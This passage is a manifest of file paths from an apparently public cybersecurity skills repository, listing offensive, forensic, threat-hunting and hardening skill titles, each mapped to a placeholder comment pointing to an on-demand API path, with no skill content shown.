-->","skills/exploiting-ipv6-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2FSKILL.md -->","skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2Freferences%2Fapi-reference.md -->","skills/exploiting-kerberoasting-with-impacket/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2FSKILL.md -->","skills/exploiting-kerberoasting-with-impacket/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Fassets%2Ftemplate.md -->","skills/exploiting-kerberoasting-with-impacket/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fapi-reference.md -->","skills/exploiting-kerberoasting-with-impacket/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fstandards.md -->","skills/exploiting-kerberoasting-with-impacket/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fworkflows.md -->","skills/exploiting-mass-assignment-in-rest-apis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2FSKILL.md -->","skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2Freferences%2Fapi-reference.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2FSKILL.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Fassets%2Ftemplate.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fapi-reference.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fstandards.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fworkflows.md -->","skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2FSKILL.md -->","skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Fassets%2Ftemplate.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fapi-reference.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fstandards.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fworkflows.md -->","skills/exploiting-nosql-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-nosql-injection-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fstandards.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/exploiting-oauth-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2FSKILL.md -->","skills/exploiting-oauth-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/exploiting-prototype-pollution-in-javascript/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2FSKILL.md -->","skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2Freferences%2Fapi-reference.md -->","skills/exploiting-race-condition-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2FSKILL.md -->","skills/exploiting-race-condition-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-server-side-request-forgery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2FSKILL.md -->","skills/exploiting-server-side-request-forgery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2Freferences%2Fapi-reference.md -->","skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2FSKILL.md -->","skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2Freferences%2Fapi-reference.md -->","skills/exploiting-sql-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-sql-injection-with-sqlmap/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2FSKILL.md -->","skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2Freferences%2Fapi-reference.md -->","skills/exploiting-template-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-template-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-type-juggling-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2FSKILL.md -->","skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2FSKILL.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Fassets%2Ftemplate.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fapi-reference.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fstandards.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fworkflows.md -->","skills/exploiting-websocket-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2FSKILL.md -->","skills/exploiting-websocket-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2FSKILL.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Fassets%2Ftemplate.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fapi-reference.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fstandards.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fworkflows.md -->","skills/extracting-browser-history-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2FSKILL.md -->","skills/extracting-browser-history-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2Freferences%2Fapi-reference.md -->","skills/extracting-config-from-agent-tesla-rat/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2FSKILL.md -->","skills/extracting-config-from-agent-tesla-rat/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Fassets%2Ftemplate.md -->","skills/extracting-config-from-agent-tesla-rat/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fapi-reference.md -->","skills/extracting-config-from-agent-tesla-rat/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fstandards.md -->","skills/extracting-config-from-agent-tesla-rat/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fworkflows.md -->","skills/extracting-credentials-from-memory-dump/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2FSKILL.md -->","skills/extracting-credentials-from-memory-dump/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2Freferences%2Fapi-reference.md -->","skills/extracting-iocs-from-malware-samples/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2FSKILL.md -->","skills/extracting-iocs-from-malware-samples/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2Freferences%2Fapi-reference.md -->","skills/extracting-memory-artifacts-with-rekall/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2FSKILL.md -->","skills/extracting-memory-artifacts-with-rekall/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2Freferences%2Fapi-reference.md -->","skills/extracting-windows-event-logs-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2FSKILL.md -->","skills/extracting-windows-event-logs-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2Freferences%2Fapi-reference.md -->","skills/fleet-hunting-with-velociraptor/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2FSKILL.md -->","skills/fleet-hunting-with-velociraptor/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fapi-reference.md -->","skills/fleet-hunting-with-velociraptor/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fstandards.md -->","skills/generating-and-analyzing-sboms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2FSKILL.md -->","skills/generating-and-analyzing-sboms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fapi-reference.md -->","skills/generating-and-analyzing-sboms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fstandards.md -->","skills/generating-forensic-timelines-with-hayabusa/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2FSKILL.md -->","skills/generating-forensic-timelines-with-hayabusa/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fapi-reference.md -->","skills/generating-forensic-timelines-with-hayabusa/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fstandards.md -->","skills/generating-threat-intelligence-reports/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2FSKILL.md -->","skills/generating-threat-intelligence-reports/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-threat-intelligence-reports%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-containers-for-production/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2FSKILL.md -->","skills/hardening-docker-containers-for-production/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Fassets%2Ftemplate.md -->","skills/hardening-docker-containers-for-production/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-containers-for-production/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fstandards.md -->","skills/hardening-docker-containers-for-production/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-containers-for-production%2Freferences%2Fworkflows.md -->","skills/hardening-docker-daemon-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2FSKILL.md -->","skills/hardening-docker-daemon-configuration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Fassets%2Ftemplate.md -->","skills/hardening-docker-daemon-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fapi-reference.md -->","skills/hardening-docker-daemon-configuration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fstandards.md -->","skills/hardening-docker-daemon-configuration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2Freferences%2Fworkflows.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2FSKILL.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2FSKILL.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","skills/hunting-advanced-persistent-threats/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2FSKILL.md -->","skills/hunting-advanced-persistent-threats/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2Freferences%2Fapi-reference.md -->","skills/hunting-bootkits-in-efi-system-partition/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2FSKILL.md -->","skills/hunting-bootkits-in-efi-system-partition/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fapi-reference.md -->","skills/hunting-bootkits-in-efi-system-partition/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fstandards.md -->","skills/hunting-credential-stuffing-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2FSKILL.md -->","skills/hunting-credential-stuffing-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2Freferences%2Fapi-reference.md -->","skills/hunting-evtx-with-chainsaw/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2FSKILL.md -->","skills/hunting-evtx-with-chainsaw/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fapi-reference.md -->","skills/hunting-evtx-with-chainsaw/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fstandards.md -->","skills/hunting-for-anomalous-powershell-execution/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2FSKILL.md -->","skills/hunting-for-anomalous-powershell-execution/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2Freferences%2Fapi-reference.md -->","skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2FSKILL.md -->","skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Fassets%2Ftemplate.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fapi-reference.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fstandards.md -->","skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fworkflows.md -->","skills/hunting-for-cobalt-strike-beacons/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2FSKILL.md -->","skills/hunting-for-cobalt-strike-beacons/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2Freferences%2Fapi-reference.md -->","skills/hunting-for-command-and-control-beaconing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2FSKILL.md -->","skills/hunting-for-command-and-control-beaconing/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Fassets%2Ftemplate.md -->","skills/hunting-for-command-and-control-beaconing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fapi-reference.md -->","skills/hunting-for-command-and-control-beaconing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fstandards.md -->","skills/hunting-for-command-and-control-beaconing/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fworkflows.md -->","skills/hunting-for-data-exfiltration-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2FSKILL.md -->","skills/hunting-for-data-exfiltration-indicators/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Fassets%2Ftemplate.md -->","skills/hunting-for-data-exfiltration-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fapi-reference.md -->","skills/hunting-for-data-exfiltration-indicators/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fstandards.md -->","skills/hunting-for-data-exfiltration-indicators/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fworkflows.md 